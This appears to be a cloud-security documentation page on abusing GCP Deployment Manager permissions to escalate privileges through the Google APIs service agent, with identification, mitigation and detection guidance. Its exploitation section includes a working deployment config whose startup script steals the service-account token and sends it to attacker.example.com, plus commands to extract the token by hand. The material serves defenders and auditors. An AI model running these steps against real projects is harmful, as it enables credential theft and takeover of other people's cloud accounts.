> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_deploy_infra.md).

# GCP\_DEPLOY\_INFRA

## Summary

|                            |                                                                   |
| -------------------------- | ----------------------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_DEPLOY\_INFRA                                                |
| **GCP Alias**              | Compute Execution & Pipeline Pivots                               |
| **Affected Object Types**  | Projects                                                          |
| **Exploitation Certainty** | Certain                                                           |
| **Granting Roles**         | `roles/deploymentmanager.admin`, `roles/deploymentmanager.editor` |

## Description

`GCP_DEPLOY_INFRA` indicates that an identity can create and manage **Deployment Manager** deployments. Deployment Manager is GCP's infrastructure-as-code service (similar to Terraform or CloudFormation). Critically, Deployment Manager executes deployments using the **Google APIs Service Agent** (`[PROJECT_NUMBER]@cloudservices.gserviceaccount.com`), which is automatically granted `roles/editor` on the project.

An attacker with Deployment Manager permissions can define a deployment that provisions a VM or other resource with malicious configuration, all executed as the Google APIs SA. This SA has broad project-level write access and its token can be extracted from the provisioned resources.

**Key abuse scenarios:**

* Deploy a VM via Deployment Manager (executed as Google APIs SA) → the SA has editor rights → extract SA token or abuse provisioned resources.
* Deploy a Cloud Function with a custom SA → extract token from the function's execution environment.
* Use Deployment Manager to create IAM bindings or service account keys as the Google APIs SA.

## Identification

### gcloud CLI

```bash
# Find who has Deployment Manager admin or editor roles
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("deploymentmanager.admin|deploymentmanager.editor")) | {role: .role, members: .members}'

# Check Google APIs SA permissions
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
APIS_SA="${PROJECT_NUMBER}@cloudservices.gserviceaccount.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq --arg sa "serviceAccount:${APIS_SA}" '.bindings[] | select(.members[] | contains($sa))'

# List existing deployments
gcloud deployment-manager deployments list --project=$PROJECT_ID \
  --format="table(name, operation.status, insertTime)"
```

### GCP Console

1. Open **GCP Console** → **Deployment Manager** → review all existing deployments.
2. Check **IAM & Admin** → **IAM** for principals with `Deployment Manager Admin` or `Deployment Manager Editor`.
3. Review the Google APIs SA (`[PROJECT_NUMBER]@cloudservices.gserviceaccount.com`) permissions.

## Exploitation

### gcloud CLI

```bash
# Write a malicious Deployment Manager config that provisions a VM with a token-exfiltrating startup script
cat > /tmp/config.yaml << 'EOF'
resources:
- name: attacker-vm
  type: compute.v1.instance
  properties:
    zone: us-central1-a
    machineType: zones/us-central1-a/machineTypes/e2-micro
    serviceAccounts:
    - email: default
      scopes:
      - https://www.googleapis.com/auth/cloud-platform
    disks:
    - deviceName: boot
      type: PERSISTENT
      boot: true
      autoDelete: true
      initializeParams:
        sourceImage: projects/debian-cloud/global/images/family/debian-11
    networkInterfaces:
    - network: global/networks/default
      accessConfigs:
      - name: External NAT
        type: ONE_TO_ONE_NAT
    metadata:
      items:
      - key: startup-script
        value: |
          #!/bin/bash
          TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
            "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
          curl -X POST -d "$TOKEN" https://attacker.example.com/collect
EOF

# Submit the deployment — executed as the Google APIs SA (roles/editor on the project by default)
PROJECT_ID="target-project"
gcloud deployment-manager deployments create attacker-deployment \
  --config=/tmp/config.yaml \
  --project=$PROJECT_ID
```

Alternatively, SSH into the provisioned VM and extract the token interactively:

```bash
gcloud compute ssh attacker-vm --zone=us-central1-a --project=$PROJECT_ID

# From inside the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
```

**Compound path:** `GCP_DEPLOY_INFRA` → deploy VM via Google APIs SA (`roles/editor`) → extract Compute Engine default SA token from metadata server → use token to create additional SA keys, modify IAM bindings, or impersonate higher-privilege SAs.

## Mitigation

1. **Restrict `roles/deploymentmanager.editor`** to a dedicated automation SA, never human users in production.
2. **Remove or restrict the Google APIs SA (`[PROJECT_NUMBER]@cloudservices.gserviceaccount.com`) permissions** — the default `roles/editor` is too broad; use a custom minimal role if Deployment Manager is required.
3. **Prefer Terraform with a purpose-specific SA** over Deployment Manager to avoid the overly privileged Google APIs SA.
4. **Audit all deployments** for unexpected resource types or startup scripts.
5. **Enable deployment approval workflows** before Deployment Manager can create or modify resources in production.

## Detection

| Log Type       | Method                                        | Key Fields                                      |
| -------------- | --------------------------------------------- | ----------------------------------------------- |
| Admin Activity | `insert` (deploymentmanager)                  | `resource.type=deployment`, deployment creation |
| Admin Activity | `*compute.instances.insert` by Google APIs SA | VM created by Deployment Manager                |

```bash
# Monitor Deployment Manager operations
gcloud logging read \
  'resource.type="deployment" AND protoPayload.methodName=~"deploymentmanager"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"

# Monitor VMs created by the Google APIs SA (Deployment Manager execution)
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
gcloud logging read \
  "protoPayload.authenticationInfo.principalEmail=\"${PROJECT_NUMBER}@cloudservices.gserviceaccount.com\" AND protoPayload.methodName=~\"compute.instances.insert\"" \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.request.name, protoPayload.request.serviceAccounts)"
```

Alert on:

* Deployment creation by non-standard identities.
* Deployments that provision compute instances.
* Google APIs SA creating resources outside of known infrastructure pipelines.

## References

* <https://cloud.google.com/deployment-manager/docs/access-control>
